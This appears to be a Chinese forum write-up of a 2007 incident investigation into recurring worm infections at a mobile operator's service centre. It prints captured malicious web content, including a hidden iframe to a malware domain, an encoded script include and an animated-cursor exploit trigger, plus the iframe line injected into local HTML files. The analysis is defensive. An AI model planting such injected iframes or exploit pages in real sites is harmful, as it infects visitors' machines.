病毒传播途径查找
深圳移动客户服务中心(1860)办公区病毒传播途径查找Met3or
[url]http://www.met3or.cn/blog/[/url]
说明
因为前两天大批电脑刚刚重新恢复过系统,杀毒软件经常性提示有病毒,维护人员找不到病毒传播途径,协助去查找,处理!
上午到了1860以后,跟对方的维护人员沟通,得知客户电脑过段时间就会出现病毒感染的提示,想办法找出来感染源或感染途径!
开工以后,因为明显是ANI漏洞蠕虫,就想到可能是因为局域网内的弱口令,漏洞没有打补丁传播,或是ARP欺骗。
先配置NESSUS,扫描弱口令和漏洞,结果扫出来都没有打补丁,看了一下客户端配置,SUS配置正常,但没有正常打上补丁,询问原因,无法告知详细原因,抓包分析,SUS服务器可以正常连接,但下载补丁文件的时候出错,EXE文件出错,就直接用IE浏览器连接,下载EXE文件的时候提示:
Text/html Exe file has been blocked by your firewall
显然是被防火墙禁止了下载EXE文件,先联系防火墙的管理人员,告知这样SUS无法正常打补丁,然后采用了360安全卫士绿色版和相关的补丁包,给电脑打补丁,扫描弱口令,没有发现弱口令电脑。
到了这里,可以排除两个途径:漏洞、弱口令。
下面就怀疑是ARP欺骗了,在旁边一台电脑安装antiarp防火墙单机版,启动防护,发现有三台ARP欺骗攻击,找到相关电脑,清理病毒,重启。
现在基本可以确认是因为ARP欺骗,自以为已经找到攻击源头了,窃喜ing~~,结果没过十分钟,又说有一台电脑有感染病毒提示,到现场看了以后,查看系统状态,查杀病毒的时候,发现病毒有修改Winsock SPI,问他们之前处理病毒有没有修复SPI,以为是没有修复SPI,导致病毒清理不干静,把winsock SPI恢复默认,然后删除相关病毒及启动项,交给客户使用,这个时候已经中午快要下班了,使用到中午下班也没发现问题,以为问题已经解决,下午想再观察一下,没问题就可以闪人啦!
下午上班,二点多的时候,客户又说出现病毒提示了,晕死……,真不给我面子,猜想可能是通过网页感染,给客户电脑安装抓包软件,开启,让客户使用,有问题的时候直接叫我。
下午三点钟的时候,客户反映又出现同样的问题,把抓包文件复制到我的电脑上分析,看了一下HTTP连接,只浏览了两个网页,都是企业内部的OA网页,通过IE网页感染已经排除,但数据包里有病毒代码的HTTP数据流,解码以后,看到如下代码:
[code]
GET [url]http://down.onlinedowns.net/page/image/pd.htm[/url] HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)
Host: down.onlinedowns.net
Proxy-Connection: Keep-Alive
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Wed, 13 Jun 2007 11:21:25 GMT
Accept-Ranges: bytes
ETag: "9ee9bdfaacadc71:59b"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 05 Jul 2007 07:17:27 GMT
Content-length: 4442
Proxy-Connection: Keep-Alive
Connection: Keep-Alive
Age: 324
<script src='http://s98.cnzz.com/stat.php?id=527270&web_id=527270' language='JavaScript' charset='gb2312'></script>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0027)[url]http://192.168.1.221:8080/d[/url] -->
<HTML dir=ltr><HEAD><TITLE>找不到网页</TITLE>
<STYLE>A:link {
FONT: 9pt/11pt 宋体; COLOR: #ff0000
}
A:visited {
FONT: 9pt/11pt 宋体; COLOR: #4e4e4e
}
</STYLE>
<META content=NOINDEX name=ROBOTS>
<META http-equiv=Content-Type content="text-html; charset=gb2312"><script language="JavaScript">
<!--
function killErrors() {
return true;
}
window.onerror = killErrors;
// -->
</script>
<SCRIPT>
function Homepage(){
<!--
// in real bits, urls get returned to our script like this:
// res://shdocvw.dll/http_404.htm#[url]http://www.DocURL.com/bar.htm[/url]
//For testing use DocURL = "res://shdocvw.dll/http_404.htm#[url]https://www.microsoft.com/bar.htm[/url]"
DocURL = document.URL;
//this is where the http or https will be, as found by searching for :// but skipping the res://
protocolIndex=DocURL.indexOf("://",4);
//this finds the ending slash for the domain server
serverIndex=DocURL.indexOf("/",protocolIndex + 3);
//for the href, we need a valid URL to the domain. We search for the # symbol to find the begining
//of the true URL, and add 1 to skip it - this is the BeginURL value. We use serverIndex as the end marker.
//urlresult=DocURL.substring(protocolIndex - 4,serverIndex);
BeginURL=DocURL.indexOf("#",1) + 1;
urlresult=DocURL.substring(BeginURL,serverIndex);
//for display, we need to skip after http://, and go to the next slash
displayresult=DocURL.substring(protocolIndex + 3 ,serverIndex);
InsertElementAnchor(urlresult, displayresult);
}
function HtmlEncode(text)
{
return text.replace(/&/g, '&').replace(/'/g, '"').replace(/</g, '<').replace(/>/g, '>');
}
function TagAttrib(name, value)
{
return ' '+name+'="'+HtmlEncode(value)+'"';
}
function PrintTag(tagName, needCloseTag, attrib, inner){
document.write( '<' + tagName + attrib + '>' + HtmlEncode(inner) );
if (needCloseTag) document.write( '</' + tagName +'>' );
}
function URI(href)
{
IEVer = window.navigator.appVersion;
IEVer = IEVer.substr( IEVer.indexOf('MSIE') + 5, 3 );
return (IEVer.charAt(1)=='.' && IEVer >= '5.5') ?
encodeURI(href) :
escape(href).replace(/%3A/g, ':').replace(/%3B/g, ';');
}
function InsertElementAnchor(href, text)
{
PrintTag('A', true, TagAttrib('HREF', URI(href)), text);
}
//-->
</SCRIPT>
<script language="JavaScript">
<!--
function killErrors() {
return true;
}
window.onerror = killErrors;
// -->
</script>
<META content="MSHTML 6.00.2900.2912" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff>
<SCRIPT language="Jscript.encode" src=css.js></script>
<iframe src=http://down.onlinedowns.net/page/image/top2.htm width=0 height=0>
<TABLE cellSpacing=5 cellPadding=3 width=410>
<TBODY>
<TR>
<TD vAlign=center align=left width=360>
<H1
style="FONT: 12pt/15pt 宋体; COLOR: #000000"><!--Problem-->找不到网页</H1></TD></TR>
<TR>
<TD width=400 colSpan=2><FONT
style="FONT: 9pt/11pt 宋体; COLOR: #000000">正在查找的网页可能已被删除、重命名或暂时不可用。</FONT></TD></TR>
<TR>
<TD width=400 colSpan=2><FONT style="FONT: 9pt/11pt 宋体; COLOR: #000000">
<HR color=#c0c0c0 noShade>
<P>请尝试执行下列操作:</P>
<UL>
<LI>如果是在“地址”栏中键入了网页地址,请检查其拼写是否正确。<BR>
<LI>打开
<SCRIPT>
<!--
if (!((window.navigator.userAgent.indexOf("MSIE") > 0) && (window.navigator.appVersion.charAt(0) == "2")))
{
Homepage();
}
//-->
</SCRIPT>
主页,然后查找与所需信息相关的链接。
<LI>单击<A href="javascript:history.back(1)">后退</A>按钮尝试其他链接。 </LI></UL>
<H2 style="FONT: 9pt/11pt 宋体; COLOR: #000000">HTTP 错误 404 -
找不到文件<BR>Internet 信息服务<BR></H2>
<HR color=#c0c0c0 noShade>
<P>技术信息(用于支持人员)</P>
<UL>
<LI>详细信息:<BR><A
href="http://www.microsoft.com/ContentRedirect.asp?prd=iis&sbp=&pver=5.0&pid=&ID=404&cat=web&os=&over=&hrd=&Opt1=&Opt2=&Opt3="
target=_blank>Microsoft 支持</A>
</LI></UL></FONT></TD></TR></TBODY></TABLE>
</BODY></HTML>GET [url]http://s98.cnzz.com/stat.php?id=527270&web_id=527270[/url] HTTP/1.1
Accept: */*
Referer: [url]http://down.onlinedowns.net/page/image/pd.htm[/url]
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)
Host: s98.cnzz.com
Proxy-Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Thu, 05 Jul 2007 07:22:47 GMT
Server: Apache/2.0.54 (Unix) PHP/4.4.1
X-Powered-By: PHP/4.4.1
Content-Type: text/html
Content-length: 2243
Proxy-Connection: Keep-Alive
Connection: Keep-Alive
var expireDate=new Date();var hours=expireDate.getHours();var minutes=expireDate.getMinutes();var seconds=expireDate.getSeconds();var now=expireDate.getTime();function getCookieVal_cnzz (offset){var endstr = document.cookie.indexOf(";",offset);if(endstr==-1){endstr=document.cookie.length;}return unescape(document.cookie.substring(offset,endstr));}function GetCookie_cnzz(name){var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;while(i< clen){var j=i+alen;if(document.cookie.substring(i,j)==arg){return getCookieVal_cnzz(j);}i=document.cookie.indexOf(" ",i)+1;if(i==0)break;}return null;}var agt=navigator.userAgent.toLowerCase();data='&agt='+escape(agt)+'&r='+escape(document.referrer)+ '&aN='+escape(navigator.appName)+'&lg='+escape(navigator.systemLanguage) + '&OS=' + escape(navigator.platform)+'&aV='+escape(navigator.appVersion)+'&ntime=0.79064400 1183620167';cnzz_a=GetCookie_cnzz("cnzz02");if(cnzz_a!=null){cnzz_a=parseInt(cnzz_a);cnzz_a=cnzz_a+1;}else{cnzz_a=0;}data=data+'&repeatip='+cnzz_a;rtime=GetCookie_cnzz("rtime");ltime=GetCookie_cnzz("ltime");cnzz_eid=GetCookie_cnzz("cnzz_eid");if(cnzz_eid == null){cnzz_eid=Math.floor(Math.random()*100000000)+"-"+document.referrer;}if(ltime< 1000000){rtime=0;ltime=0;}else{rtime=parseInt(rtime)};if(rtime< 1){rtime=0};ltime=parseInt(ltime);now=parseInt(now);if(((now-ltime)>43200*1000)&&(ltime>0)){rtime=rtime+1};data=data+'&rtime='+rtime+'&cnzz_eid='+escape(cnzz_eid);data=data+'&showp='+escape(screen.width+'x'+screen.height);
document.write('<a href="http://www.cnzz.com/stat/website.php?web_id=527270" target=_blank title="站长统计">站长统计</a>');
document.write('<img src="http://s98.cnzz.com/stat.htm?id=527270'+ data +'" border="0" width="0" height="0">');
var lefttime=1000*(86400-hours*3600-minutes*60-seconds);expireDate.setTime(expireDate.getTime()+500*86400);document.cookie="cnzz02="+cnzz_a+";expires="+expireDate.toGMTString()+ ";path=/";
var lefttime=1000*86400*182;expireDate.setTime(now+lefttime);document.cookie="rtime="+rtime+";expires="+expireDate.toGMTString()+";path=/";document.cookie="ltime="+now+";expires="+expireDate.toGMTString()+";path=/";document.cookie="cnzz_eid="+escape(cnzz_eid)+";expires="+expireDate.toGMTString()+";path=/";GET [url]http://s98.cnzz.com/stat.php?id=527270&web_id=527270[/url] HTTP/1.1
Accept: */*
Referer: [url]http://down.onlinedowns.net/page/image/pd.htm[/url]
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)
Host: s98.cnzz.com
Proxy-Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Thu, 05 Jul 2007 07:23:00 GMT
Server: Apache/2.0.54 (Unix) PHP/4.4.1
X-Powered-By: PHP/4.4.1
Content-Type: text/html
Content-length: 2243
Proxy-Connection: Keep-Alive
Connection: Keep-Alive
var expireDate=new Date();var hours=expireDate.getHours();var minutes=expireDate.getMinutes();var seconds=expireDate.getSeconds();var now=expireDate.getTime();function getCookieVal_cnzz (offset){var endstr = document.cookie.indexOf(";",offset);if(endstr==-1){endstr=document.cookie.length;}return unescape(document.cookie.substring(offset,endstr));}function GetCookie_cnzz(name){var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;while(i< clen){var j=i+alen;if(document.cookie.substring(i,j)==arg){return getCookieVal_cnzz(j);}i=document.cookie.indexOf(" ",i)+1;if(i==0)break;}return null;}var agt=navigator.userAgent.toLowerCase();data='&agt='+escape(agt)+'&r='+escape(document.referrer)+ '&aN='+escape(navigator.appName)+'&lg='+escape(navigator.systemLanguage) + '&OS=' + escape(navigator.platform)+'&aV='+escape(navigator.appVersion)+'&ntime=0.01394300 1183620180';cnzz_a=GetCookie_cnzz("cnzz02");if(cnzz_a!=null){cnzz_a=parseInt(cnzz_a);cnzz_a=cnzz_a+1;}else{cnzz_a=0;}data=data+'&repeatip='+cnzz_a;rtime=GetCookie_cnzz("rtime");ltime=GetCookie_cnzz("ltime");cnzz_eid=GetCookie_cnzz("cnzz_eid");if(cnzz_eid == null){cnzz_eid=Math.floor(Math.random()*100000000)+"-"+document.referrer;}if(ltime< 1000000){rtime=0;ltime=0;}else{rtime=parseInt(rtime)};if(rtime< 1){rtime=0};ltime=parseInt(ltime);now=parseInt(now);if(((now-ltime)>43200*1000)&&(ltime>0)){rtime=rtime+1};data=data+'&rtime='+rtime+'&cnzz_eid='+escape(cnzz_eid);data=data+'&showp='+escape(screen.width+'x'+screen.height);
document.write('<a href="http://www.cnzz.com/stat/website.php?web_id=527270" target=_blank title="站长统计">站长统计</a>');
document.write('<img src="http://s98.cnzz.com/stat.htm?id=527270'+ data +'" border="0" width="0" height="0">');
var lefttime=1000*(86400-hours*3600-minutes*60-seconds);expireDate.setTime(expireDate.getTime()+500*86400);document.cookie="cnzz02="+cnzz_a+";expires="+expireDate.toGMTString()+ ";path=/";
var lefttime=1000*86400*182;expireDate.setTime(now+lefttime);document.cookie="rtime="+rtime+";expires="+expireDate.toGMTString()+";path=/";document.cookie="ltime="+now+";expires="+expireDate.toGMTString()+";path=/";document.cookie="cnzz_eid="+escape(cnzz_eid)+";expires="+expireDate.toGMTString()+";path=/";GET [url]http://down.onlinedowns.net/page/image/top.htm[/url] HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: [url]http://down.onlinedowns.net/page/image/pd.htm[/url]
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)
Host: down.onlinedowns.net
Proxy-Connection: Keep-Alive
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 11 Jun 2007 08:16:42 GMT
Accept-Ranges: bytes
ETag: "01192d70acc71:59b"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 05 Jul 2007 07:06:30 GMT
Content-length: 207
Proxy-Connection: Keep-Alive
Connection: Keep-Alive
Age: 998
<html>
<body>
<script type="text/jscript">function init() { document.write("<h1>Service Unavailable<h1>");}window.onload = init;</script>
<DIV style="CURSOR: url('./top.png')">
</DIV>
</body>
</html>
GET [img]http://down.onlinedowns.net/page/image/test.jpg[/img] HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)
Host: down.onlinedowns.net
Proxy-Connection: Keep-Alive
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 05 Jul 2007 07:23:10 GMT
Content-length: 1308
Proxy-Connection: Keep-Alive
Connection: Keep-Alive
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>无法找到该页</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=GB2312">
<STYLE type="text/css">
BODY { font: 9pt/12pt 宋体 }
H1 { font: 12pt/15pt 宋体 }
H2 { font: 9pt/12pt 宋体 }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>
<h1>无法找到该页</h1>
您正在搜索的页面可能已经删除、更名或暂时不可用。
<hr>
<p>请尝试以下操作:</p>
<ul>
<li>确保浏览器的地址栏中显示的网站地址的拼写和格式正确无误。</li>
<li>如果通过单击链接而到达了该网页,请与网站管理员联系,通知他们该链接的格式不正确。
</li>
<li>单击<a href="javascript:history.back(1)">后退</a>按钮尝试另一个链接。</li>
</ul>
<h2>HTTP 错误 404 - 文件或目录未找到。<br>Internet 信息服务 (IIS)</h2>
<hr>
<p>技术信息(为技术支持人员提供)</p>
<ul>
<li>转到 <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft 产品支持服务</a>并搜索包括“HTTP”和“404”的标题。</li>
<li>打开“IIS 帮助”(可在 IIS 管理器 (inetmgr) 中访问),然后搜索标题为“网站设置”、“常规管理任务”和“关于自定义错误消息”的主题。</li>
</ul>
</TD></TR></TABLE></BODY></HTML>[/code]
可以看到是通过访问了 [code]http://down.onlinedowns.net/page/image/pd.htm[/code] 然后才感染病毒,下载了top.png这个病毒体,到此,感染源头找到,只要是防火墙出口限制访问down.onlinedowns.net,就可以解决问题,本地也可以修改HOST文件,把down.onlinedowns.net 127.0.0.1加入host文件,也可以解决问题。
原因找到了,但什么情况下才去访问这个网址,就比较难找了,难道是传说中的超级黑客劫持路由,修改了HTTP数据流?????????
虽然有这个可能,但我自信在移动的内网黑客不至于历害到这个程度,这个肯定可以排除,那会是什么可能呢?排除了ARP,网页浏览感染,只有本地的一个途径了,还是从本机上找原因,这时候再去让客户配合,重现故障,已经比较郁闷了,因为客户也不知道之前都有那些操作,还好的是当时在这台电脑旁边一台电脑,突然之间也出现这个问题,一查看,两台电脑相同的是都开着EXCEL和一个1860办业务的系统。
“共同点”--,先看了EXCEL,排除,就定位到了这个1860办理业务的系统上面,马上在自己的电脑上面安装了一个这样的系统,然后把有病毒提示的电脑的这个系统的整个文件夹覆盖一下,开了文件调用监控的软件,然后开始运行这个业务系统,做了一些常规操作,然后看到sniffer里,那个病毒已经被下载到本地了。看了一下监控的记录,当登录以后,做某些查询的时候,调用了这个系统里面的某个HTML文件,随后就会访问那个pd.htm的网址,直接定位这个本地的HTML文件,打开看到代码里有一行:
[code]<iframe src=http://down.onlinedowns.net/page/image/pd.htm height=0></iframe>[/code]
找到原因了,查看这个系统下面的别的HTML文件,都有这样一行代码,明显是因为以前感染过类似于熊猫烧香的病毒,病毒感染了所有的网页类文件,下面剩下的就是查杀了,我记的以前网上传过一个熊猫烧香作者的什么专杀,是可能清理iframe插入的代码的,然后上网找到提供给他们让他们去杀毒,结果没两分钟就回来说直接就被系统上安装的杀毒软件给干掉了,而且这样查杀比较慢,当时就想找一下办法,专杀脚本类文件的,联系killer和benjurry都没在Q,我这边没现成的代码呀,晕呀。
自己再写的话,马上就要下班了,没那个时间去弄,在网上查找,结果找到一个网页代码清理工具,专门清理插入代码的,给他们杀毒,两三分钟整个硬盘就查杀一遍,还是很快的。
到此已经解决问题,也下午五点多了,已经要下班了,MMD,本来还想着来这边看一下以前只闻其声,不见其人的那些1860的MM们,忙了一天,都没时间看啦,郁闷死我了,闪人! 分析思路清晰流畅!
把down.onlinedowns.net 127.0.0.1加入host文件 这个好高明 好文!~
谢谢分享!:victory: 学习下,谢谢分享. [url]http://s98.cnzz.com/stat.htm?id=527270'+[/url] data +'" border="0" width="0" height="0
这句就没问题吗?? gaoming
页:
[1]